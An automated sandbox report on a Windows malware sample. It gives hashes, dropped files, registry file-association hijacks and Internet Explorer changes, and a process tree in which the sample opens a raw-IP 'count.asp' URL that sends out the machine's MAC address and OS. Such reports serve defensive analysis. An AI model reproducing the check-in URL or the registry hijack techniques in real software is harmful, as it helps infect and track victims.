Analysis
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max time kernel
180s -
max time network
199s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
07-11-2022 18:09
Behavioral task
behavioral1
Sample
c5ef450c34cac67c2d34ec5450011324b971bcfa6e26041faeec52372fea5627.exe
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
c5ef450c34cac67c2d34ec5450011324b971bcfa6e26041faeec52372fea5627.exe
Resource
win10v2004-20220812-en
General
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Target
c5ef450c34cac67c2d34ec5450011324b971bcfa6e26041faeec52372fea5627.exe
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Size
143KB
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MD5
021dcfa7a9bc93f89ece268b3b0a71e8
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SHA1
1592e371e4ae9dda35eaf1bc107eca55efb71aea
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SHA256
c5ef450c34cac67c2d34ec5450011324b971bcfa6e26041faeec52372fea5627
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SHA512
44007a0e23d8ecde79d40481a8afcb000f3817f06854ab83e923e863a3d18d5198cc12c9d1ee40897ffa4429104d75d25456ac5c4fa71288cdef8163ab735de2
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SSDEEP
3072:MgN+Ns5uUdzh5vaBAzmeu2ZN3PRp6hIAsdxn6sM0TZMl9V:ZN+quUdzh5vaBAz5NZkhIAsdxn6sM0Tc
Malware Config
Signatures
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resource yara_rule behavioral2/memory/3404-132-0x0000000000400000-0x0000000000426000-memory.dmp upx behavioral2/memory/3404-133-0x0000000000400000-0x0000000000426000-memory.dmp upx -
Drops file in Program Files directory 2 IoCs
description ioc Process File created C:\Program Files\Thunder\Update.exe c5ef450c34cac67c2d34ec5450011324b971bcfa6e26041faeec52372fea5627.exe File opened for modification C:\Program Files\Thunder\Update.exe c5ef450c34cac67c2d34ec5450011324b971bcfa6e26041faeec52372fea5627.exe -
Drops file in Windows directory 1 IoCs
description ioc Process File created C:\WINDOWS\Downloaded Program Files\Update.exe c5ef450c34cac67c2d34ec5450011324b971bcfa6e26041faeec52372fea5627.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\WebBrowser\ITBar7Layout = 130000000000000000000000300000001400000016000000010000000007000080010000030000000103000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 c5ef450c34cac67c2d34ec5450011324b971bcfa6e26041faeec52372fea5627.exe Set value (int) \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{B31421CD-5F65-11ED-89AC-FA09CB65A760} = "0" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "374677592" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000975fab978604b14697eb522259e91a1000000000020000000000106600000001000020000000a034ba72c4ddc0b78e4207fc9f3aea220613dd8b44270213e9c79feb09cfc9ed000000000e80000000020000200000009f0e479c3c5cd6c66acc941acd106d3f8414e450a2b0ce4e357339fa7cdc43b82000000049cae1c6244f672867f667c5985517b30ba2087ee2f40b521f54d5208a5099bc40000000eac296e756ef57a8ae324d35fe3baaa10925551b1903c680ed8c40c07a252bb358803950a5b0c1b5381a1e660f65f5f39d589470462bc22c5f257832d01f981b iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\WebBrowser\ITBarLayout = 110000005c00000000000000340000001f0000006e00000001000000a0060000a00f000005000000220400002600000002000000a1060000a00f000004000000a10000000f02000003000000a10200003b000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 c5ef450c34cac67c2d34ec5450011324b971bcfa6e26041faeec52372fea5627.exe Set value (int) \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000975fab978604b14697eb522259e91a100000000002000000000010660000000100002000000041e267ae60c2488623401bf879ca557adf8f9270cba02535bc457152a2102a9f000000000e8000000002000020000000071b0b4b92e231174d720134ed8d8c49a9d774326e658fc98cd5cf524faf5493200000008fd40da23ecb525eb2500c81e39a5fc055ebd24ed894305772d6d72ed7b2739340000000e12427de818711fd1b9c25932eca9e169779c494884a60d877597d1f5491ade12070bc1d4f54e160511dcd36e225ad8736a1072c8519b297f08764385eda1772 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\WebBrowser c5ef450c34cac67c2d34ec5450011324b971bcfa6e26041faeec52372fea5627.exe Set value (int) \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = f0025ca272f3d801 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = d062ebaf72f3d801 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\Main\Frist c5ef450c34cac67c2d34ec5450011324b971bcfa6e26041faeec52372fea5627.exe Key created \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\DomainSuggestion iexplore.exe -
Modifies registry class 11 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\anifile\shell c5ef450c34cac67c2d34ec5450011324b971bcfa6e26041faeec52372fea5627.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\anifile\shell\open c5ef450c34cac67c2d34ec5450011324b971bcfa6e26041faeec52372fea5627.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\anifile\shell\open\command c5ef450c34cac67c2d34ec5450011324b971bcfa6e26041faeec52372fea5627.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\anifile\DefaultIcon\ = "C:\\WINDOWS\\Downloaded Program Files\\game.ico" c5ef450c34cac67c2d34ec5450011324b971bcfa6e26041faeec52372fea5627.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\fonfile\ScriptEngine c5ef450c34cac67c2d34ec5450011324b971bcfa6e26041faeec52372fea5627.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\fonfile\ScriptEngine\ = "JScript.Encode" c5ef450c34cac67c2d34ec5450011324b971bcfa6e26041faeec52372fea5627.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\anifile\ScriptEngine c5ef450c34cac67c2d34ec5450011324b971bcfa6e26041faeec52372fea5627.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\anifile\ScriptEngine\ = "JScript.Encode" c5ef450c34cac67c2d34ec5450011324b971bcfa6e26041faeec52372fea5627.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\fonfile\DefaultIcon\ = "C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" c5ef450c34cac67c2d34ec5450011324b971bcfa6e26041faeec52372fea5627.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\fonfile c5ef450c34cac67c2d34ec5450011324b971bcfa6e26041faeec52372fea5627.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\anifile\shell\open\command\ = "C:\\Program Files\\Thunder\\Update.exe \"%1\" %*" c5ef450c34cac67c2d34ec5450011324b971bcfa6e26041faeec52372fea5627.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4124 iexplore.exe -
Suspicious use of SetWindowsHookEx 6 IoCs
pid Process 4124 iexplore.exe 4124 iexplore.exe 4016 IEXPLORE.EXE 4016 IEXPLORE.EXE 4016 IEXPLORE.EXE 4016 IEXPLORE.EXE -
Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 3404 wrote to memory of 4124 3404 c5ef450c34cac67c2d34ec5450011324b971bcfa6e26041faeec52372fea5627.exe 79 PID 3404 wrote to memory of 4124 3404 c5ef450c34cac67c2d34ec5450011324b971bcfa6e26041faeec52372fea5627.exe 79 PID 4124 wrote to memory of 4016 4124 iexplore.exe 80 PID 4124 wrote to memory of 4016 4124 iexplore.exe 80 PID 4124 wrote to memory of 4016 4124 iexplore.exe 80
Processes
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C:\Users\Admin\AppData\Local\Temp\c5ef450c34cac67c2d34ec5450011324b971bcfa6e26041faeec52372fea5627.exe"C:\Users\Admin\AppData\Local\Temp\c5ef450c34cac67c2d34ec5450011324b971bcfa6e26041faeec52372fea5627.exe"1⤵
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3404 -
C:\Program Files\Internet Explorer\iexplore.exe"C:\Windows\system32\..\..\Program Files\Internet Explorer\iexplore.exe" http://58.218.198.119:8080/count.asp?mac=fa-09-cb-65-a7-60&os=Microsoft Windows XP&flag=0283c7b368f4ddb6313e50c15373374a&user=c5ef450c34cac67c2d34ec5450011324b971bcfa6e26041faeec52372fea56272⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4124 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4124 CREDAT:17410 /prefetch:23⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:4016
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
259B
MD59eb23c46d269c9debb4345e011e07a4c
SHA11af312d49b19680ba9776e003aced6602937900f
SHA256f6711066243605d4efa6c1015a4dab4d4e57063a2b84513b665d795bd572c047
SHA512d39d84d0b2b0d9ec520aecbb5dcf26b5b7809048bc895c20c503ac370127f4d56af50ff525843b3bc31f1eef22c6bdae9c672a81b8591f9d1350e343c881ef23
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Filesize
261B
MD57bd1b88f31a6da5622837b47f26c9d3a
SHA18dfae3dcb5c0e295aa1d1b273af830e4f54d3d10
SHA2566e3a41335a892b2dd58ede098db183b04e58a95b44c51e5de96fa07de0d02085
SHA5128347d358c0157a57958242938c3e844f050b5a7e77d14ae1f7a99a6508766160b8e59bb5a94c5993d5a4c9ea901b1988c35648c9b8fd447589684f599b6ff443
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Filesize
261B
MD50d4670b01f65bc72dbf1af3b36ef4f2d
SHA197553344d494e9b52990d3e1de18db8d1bbc8744
SHA256306a437106117981a9b66c57946da8388998cda83870657b63b0858e8ae12d39
SHA512217d351fa2416443f180efc75ee6306da701a5feae1ad779bbb57682e314b7a310ad0db27f2e0815c936713bbe816086a3d1bbdc9d48cc08afc8d33f0b5702b6
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Filesize
266B
MD5c81a8562bf7c8401b8052977fe6e802a
SHA1e54c0e0b91d5a861b20548d30a2ffd350abfac09
SHA2568d101ea02c9bce0d4d091b247546d4caccd887752b6f4c3b44a0f8956c303fda
SHA512f9c855217976830f76a42561ddb181cbc8879a0327db7940715d3e377dd047dbd9c0852c68751dfd9a6e2f564f10338820c02c98f73ffc0a5ed9dd50fc1652cb
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Filesize
271B
MD5e5c8bb1ba6bc6de3d4ddac2f0bf47e7d
SHA170900371edfcdcb01b063e731e56d129369c64a8
SHA256334812944df9a9938b114b7ec02177c4bdb6cbb8dd362ea43d119a37feb2062f
SHA512c3635728cb6e5327276220b57bab8c6068b50130250f8151c06134f17e143067feb04e2f47cecf6fca0d6c046325012492c67d3837ea3e57a516e0b7c4408769
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Filesize
261B
MD5c6140fc6cd1250bd67a4a22d7c74ec54
SHA1d8371058038d78bd6d5dd8c13bafa21d236cf3e7
SHA256a18fe5781913c54cf547f8bed109aa7de0961189bc7ee91e0a1851b6ca9d0610
SHA512aa50040890a99db0d083674297f19c23f083934bbcc4eb30ee1ec358aa4418e2b017d2bd4314e9ed9d115e710637c82899915897118bc47c1e4edac8858cd3f7
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Filesize
261B
MD51dd93ff89bb660ccd77ec626a0cd052a
SHA1b895b52dc80ac06edf398e538d1b82ae88df554a
SHA25613aa3b6e21889b5f35f27aed509a62deea1c40de9cf1f9730328157dc00d8c9e
SHA512254e5f9db48ccb6f293beb7865f21449bcdc151fed0f6b5dafba7dc7e52ac5829a50af3132c46832ad68f20e9d2b6f64c7b973a79b09e1b4d601033ae99e375e
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C:\Users\Admin\Favorites\׿ԽÑÇÂíÑ·ÍøÉϹºÎïͼÊ飬ÊÖ»ú£¬ÊýÂ룬¼Òµç£¬»¯×±Æ·£¬ÖÓ±í£¬Ê×ÊεÈÔÚÏßÏúÊÛ.html
Filesize261B
MD58c9d533856807659bd89d3a99b1bedfc
SHA1a55b51b5f91bea060463db9266dd6dbbc1de6ef5
SHA256dd59719dc8255bddc6dcb6f54e27ab82b8f0285280379c8a90d5043d657f16fa
SHA5122d8bb0fae1e09094b7e08b0c4dea5e4b9cf97cbf25638df1a7db14b113e6ab8a95f160a7ada024700f048962c2baf7bf963d16b783a45b83d1d20399cc81d158
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Filesize
264B
MD5ee765b1ebea1c25ae9e7f3ce73841c46
SHA19a729deb3d211e8bbb0198bb5e7f436056293331
SHA2562013251dc3e77710d417cc8c51fdcaa3d9e4ec7c019c55020994130639f87f65
SHA5125cf9a564be444151dcc8cf960aee916bbd7c21874e98a0a594d2e40e5861bdbf2cac37d8da7c30b564529600c948feefd8eda45a0bd5e55e5d5b75fe9ac84434
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Filesize
264B
MD5428d1e753132e1fe27a06715e484ecc8
SHA162bd82694da83f087052c2cb6a8de923628f02a1
SHA25642ca671a0639af6857bfe9716d48aa978210a66d98948a978066e1df90ad4377
SHA512c21a1473639acc7f1c9f7847d0442d4ee5cbfa09d121f3024163af63a70968620bd16b56ccbca6dcb6447c4d01fb9df9dc5482ed29b38984a64afb39aadad317